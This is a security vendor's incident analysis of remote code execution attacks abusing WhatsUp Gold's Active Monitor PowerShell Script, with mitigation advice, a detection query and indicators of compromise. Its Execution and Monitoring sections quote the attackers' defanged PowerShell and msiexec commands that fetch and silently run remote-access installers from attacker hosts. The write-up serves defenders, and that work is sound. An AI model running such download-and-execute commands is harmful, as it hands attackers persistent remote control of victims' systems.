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Exploits & Vulnerabilities


PROTECTING AGAINST RCE ATTACKS ABUSING WHATSUP GOLD VULNERABILITIES

In this blog entry, we provide an analysis of the recent remote code execution
attacks related to Progress Software’s WhatsUp Gold that possibly abused the
vulnerabilities CVE-2024-6670 and CVE-2024-6671.

By: Hitomi Kimura, Maria Emreen Viray September 12, 2024 Read time: 7 min (1799
words)

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--------------------------------------------------------------------------------

SUMMARY

 * Trend Micro researchers identified remote code execution attacks on WhatsUp
   Gold exploiting the Active Monitor PowerShell Script since August 30.
 * These attacks possibly leveraged vulnerabilities CVE-2024-6670 and
   CVE-2024-6671, which were patched on August 16, though active exploitation
   may have began on the same day just after a PoC was published on August 30.
 * The timeline of events suggests that despite the availability of patches,
   some organizations were unable to apply them quickly, leading to incidents
   almost immediately following the PoC's publication.
 * The abuse of NmPoller.exe to execute PowerShell scripts to download various
   remote access tools and attempt to gain persistence was key parts of the
   observed attacks.
 * Mitigation steps include keeping services for corporate use under access
   control, immediate patch application, and close monitoring of suspicious
   process creation events in WhatsUp Gold environments to prevent similar
   incidents.

The Trend Micro Managed Extended Detection and Response (MXDR) team observed
remote code execution (RCE) attacks on WhatsUp Gold, an application for network
and IT infrastructure monitoring currently provided by Progress Software
Corporation and its components run on Windows (Figure 1). The attacks have
abused Active Monitor PowerShell Script, one of the legitimate functions of the
product, since August 30.

The RCE vulnerabilities CVE-2024-6670 and CVE-2024-6671 were disclosed by the
vendor on August 16; patches were made available at the same time. According to
the disclosure, “if the application is configured with only a single user; a SQL
Injection vulnerability allows an unauthenticated attacker to retrieve the
user’s encrypted password.” However, the CVSS scores of both vulnerabilities are
marked as 9.8, suggesting that RCE is possible.

In August, the vulnerability’s discoverer, Sina Kheirkhah (@SinSinology) of
Summoning Team (@SummoningTeam) has published a blog entry and provided a PoC on
the subject. The PoC showed how to overwrite an arbitrary string as the new
password, and that explanation matches our observations.  

Figure 1. Timeline how the WhatsUp Gold Active Monitor PowerShell Script was
abused

HOW ATTACKS WERE OBSERVED IN TREND VISION ONE

INITIAL ACCESS

Activity monitoring on Trend Vision One showed that a suspicious script
retrieved from a suspicious URL was suddenly executed on the computer hosting
WhatsUp Gold. The timeline prior to the incident showed no suspicious logon
events, suspicious URLs accessed by users, or malware execution. These are
typical events in the early stages of incidents, but if these have not appeared,
it's more likely that a vulnerability has been involved.

Figure 2. Execution profile for the abuse of NmPoller.exe

The polling process NmPoller.exe, the WhatsUp Gold executable, seems to be able
to host a script called Active Monitor PowerShell Script as a legitimate
function (Figure 2). The threat actors in this case chose it to perform for
remote arbitrary code execution.

The malicious code that was executed by NmPoller.exe looks like this: The first
part of the square is the prefix, and the last two lines are the malicious code
submitted by the threat actor. Several variations of this part have been
observed, as shown in Figure 3.

Figure 3. The PowerShell script executed as Active Monitor PowerShell Script by
NmPoller.exe

EXECUTION

Multiple PowerShell scripts were executed via NmPoller.exe. The following
scripts were executed as the malicious part multiple times combined with the
prefix part described in the previous section:

> (New-Object
> System.Net.WebClient).DownloadFile('hxxps://webhook[.]site/b6ef7410-9ec8-44f7-8cdf-7890c1cf5837','c:\\programdata\\a.ps1');
> powershell -exec bypass -file c:\\programdata\\a.ps1

> msiexec /i hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi /Qn

> msiexec /i hxxps://fedko[.]org/wp-includes/ID3/setup.msi /Qn

> iwr -uri hxxps://fedko[.]org/wp-includes/ID3/setup.msi -outfile
> c:\\windows\\temp\\MSsetup.msi ; msiexec /i c:\\windows\\temp\\MSsetup.msi /Qn

 

The file a.ps1 contained only one line:

> ["(New-Object
> System.Net.WebClient).DownloadFile('hxxp://185.123.100[.]160/access/Remote
> Access-windows64-offline.exe?language=en&app=61021689825303726412222891579678345108&hostname=hxxp://185.123.100[.]160','C:\\programdata\\ftpd32.exe');start-process
> C:\\programdata\\ftpd32.exe;"]

 

PERSISTENCE

In this case, the threat actor aimed to install remote administration tools
through PowerShell. They attempted to install these four remote access tools
(RATs) via msiexec.exe (Figure 4):

 * Atera Agent
 * Radmin
 * SimpleHelp Remote Access
 * Splashtop Remote

Atera Agent and Splashtop Remote were installed by a single msi installer
retrieved from the URL, hxxps://fedko[.]org/wp-includes/ID3/setup.msi.

Figure 4. Execution profile for msiexec.exe installing Atera Agent and Splashtop
Remote

The incident was contained by MXDR team and no further impacts were observed.
The threat actor has not yet been identified; however, the usage of multiple
RATs suggests that it may be a ransomware actor.

VULNERABILITY DISCOVERY AND EXPLOIT ATTEMPTS

EVENT TIMELINE

 * August 16, 2024 - The product vendor released the latest patch and the CVE
   numbers
 * August 30, 2024 5pm (UTC) - The discoverer of the vulnerability published the
   PoC on GitHub
 * August 30, 2024 10pm (UTC) - Trend Micro MXDR team observed the first
   incident that abused the legitimate process of WhatsUp Gold

This timeline suggests that the exploit attempts may have been performed on the
same day, just a few hours after the PoC was published. The PoC was released on
the Friday before the long weekend in the US, which included a holiday, so it
may have been difficult for many organizations to apply the patch immediately.
However, the latest patch was provided before the PoC was released, so if there
is information such as a fix high-severity vulnerability in the patch, planning
to apply the patch early should help prevent damage even if no PoC is available.

Censys has issued an advisory that they observed 1,207 exposed devices online
for CVE-2024-4885, another WhatsUp Gold vulnerability that has a CVSS score of
9.8 and was fixed in June. This may have attracted the attention of threat
actors as an attack surface following the disclosure of serious vulnerabilities
in June.

MITIGATION

The affected host was affected due to the compromise of user authentication for
WhatsUp Gold. Users of the product should take the following steps to avoid a
similar impact:

 * Apply the latest patch as soon as possible. Official documentation on the
   product, such as release notes and security bulletins, can be found on the
   vendor website.
 * Keep the management console or API endpoints under access control. Avoid
   exposing corporate use products to the public internet to prevent to be found
   and scanned by threat actors.
 * Use a strong password. Please note that even if you have already applied all
   patches and are not affected by the vulnerability, you could still be
   affected if you use a weak password (such as admin:admin) without access
   control.

MONITORING

To detect the attacks that we observed, we monitored process creation events
from the following processes:

 * {Install path for WhatsUp Gold}\nmpoller.exe

For example, if C:\Program Files (x86)\Ipswitch\WhatsUp\nmpoller.exe creates
processes like the following, it is highly suspicious:

 * "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass
   -file c:\programdata\a.ps1
 * "C:\Windows\system32\msiexec.exe" /i
   hxxps://fedko[.]org/wp-includes/ID3/setup.msi /Qn
 * "C:\Windows\system32\msiexec.exe" /i
   hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi /Qn
 * "C:\Windows\system32\msiexec.exe" /i c:\windows\temp\MSsetup.msi /Qn

QUERY SAMPLE FOR VISION ONE SEARCH APP

 * Search method: Endpoint Activity Data
 * Query: "nmpoller.exe" AND eventSubId:(2 OR 101 OR 109 OR 901)
 * Monitoring tips:
 * Product restarting or daily logfile creation events will also appear in the
   results. Please monitor the events excluding regular events in your
   environment.
 * You can also monitor for spikes in the number of events in the search result
   (Figure 5).

Figure 5. The spike of the number of events in the search results in the
incident

Observed attack techniques (OAT) detected using Vision One:

 * External MSI Package Installation via Msiexec (High)
 * Suspicious RAT (SimpleHelp) Installation (Medium)
 * Suspicious RAT (AteraAgent) Installation (Medium)
 * Suspicious RAT (Splashtop) File Creation (Medium)
 * Malicious Software - PUA.Win32.RAdmin.E (Medium)

Please note that in the implementation, NmPoller.exe can execute PowerShell
scripts without launching another powershell.exe process. If you can monitor
PowerShell scripts with Antimalware Scan Interface (AMSI), verify that all
scripts executed by WhatsUp Gold’s Active Monitor PowerShell Script function are
the ones you expect. To reduce the monitoring effort, it is also a good idea to
suspend the use of Active Monitor PowerShell Script function until the latest
patch is applied.

Also, because the vulnerability CVE-2024-6670 is described as allowing the
compromise of the user account, it is quite possible that attacks would be
observed as other events. Considering this, until the latest patch is applied,
it is worth tightening access controls to WhatsUp Gold as much as possible and
closely monitoring the events of all related processes.

CONCLUSION

Patch management is still important but always difficult. In this case, the PoC
was published several days after the patch was released, and an incident that
appeared to be affected by the vulnerability was observed on the same day, just
a few hours after published. This observed fact shows that if the vulnerability
being fixed is marked as severe, it is strongly encouraged to apply the patch as
soon as it is released, even if no PoC is available.

The key to preventing incidents like this are not limited to patch management.
There should be several defenses in place in addition patch management. The most
common defenses to mitigate risks are access control and multi-factor
authentication (MFA), which security teams can apply through best practices
like:

 * Keeping hosts/services for corporate use under access control instead of
   public access
   * Do not expose to the public internet the management consoles or API
     endpoints of products for corporate use to avoid being on threat actors
     scan lists.
 * Enabling MFA for all network logins
   * To prevent account compromise, all user accounts (whether for enterprise or
     personal use) logging on over the network, or logging into Windows, Linux,
     or web applications, are encouraged to always have MFA enabled.
   * Of course, do not forget to use a strong password that has never been used
     in other places.
 * Using passkeys
   * If you have the option to use a passkey instead of a password, it would be
     a good idea to do so.
   * Passkeys use a cryptographic key stored on the device for logins and the
     key is activated by local authentication such as users’ biometric just like
     unlocking the device. Since no need for any passwords or any typing, it
     means no strings of characters are involved, it is resistant to phishing.

Maintaining a daily readiness and vigilance against cyberattacks is essential to
ensuring that emergency response is targeted only at things that truly require
it. We hope that after reading this article, security teams will once again
check that no unintended hosts or services are exposed to the public internet as
part of their peacetime preparations. This approach is now known as part of
attack surface management.

Organizations can also consider powerful security technologies such as Trend
Vision One™, which offers multilayered protection and behavior detection,
helping block malicious tools and services before they can inflict damage on
user machines and systems.

INDICATORS OF COMPROMISE (IOCS)

File path SHA256 Detection name Description C:\ProgramData\a.ps1
6daa94a36c8ccb9442f40c81a18b8501aa360559865f211d72a74788a1bbf3ce
PUA.PS1.RemoteAdmin.A Suspicious script executed via NmPoller.exe - the
legitimate process of WhatsUp Gold c:\windows\temp\MSsetup.msi
f1c68574167eaea826a90595710e7ee1a1e75c95433883ce569a144f116e2bf4
PUA.Win32.RAdmin.E Suspicious installer executed via NmPoller.exe - the
legitimate process of WhatsUp Gold C:\ProgramData\ftpd32.exe
992974377793c2479065358b358bb3788078970dacc7c50b495061ccc4507b90 - SimpleHelp
Remote Access

URL Description hxxps://webhook[.]site/b6ef7410-9ec8-44f7-8cdf-7890c1cf5837
Hosted the contents of the suspicous script: a.ps1
hxxps://fedko[.]org/wp-includes/ID3/setup.msi Hosted a combined installer for
Atera Agent and Splashtop Remote
hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi Hosted PUA.Win32.RAdmin.E
hxxp://185.123.100[.]160/access/Remote Access-windows64-offline.exe Hosted
SimpleHelp Remote Access 185.123.100[.]160 Outbound connection for SimpleHelp
Remote Access

Tags
Articles, News, Reports | Research | Exploits & Vulnerabilities


AUTHORS

 * Hitomi Kimura
   
   Incident Response Analyst

 * Maria Emreen Viray
   
   Threats Analyst

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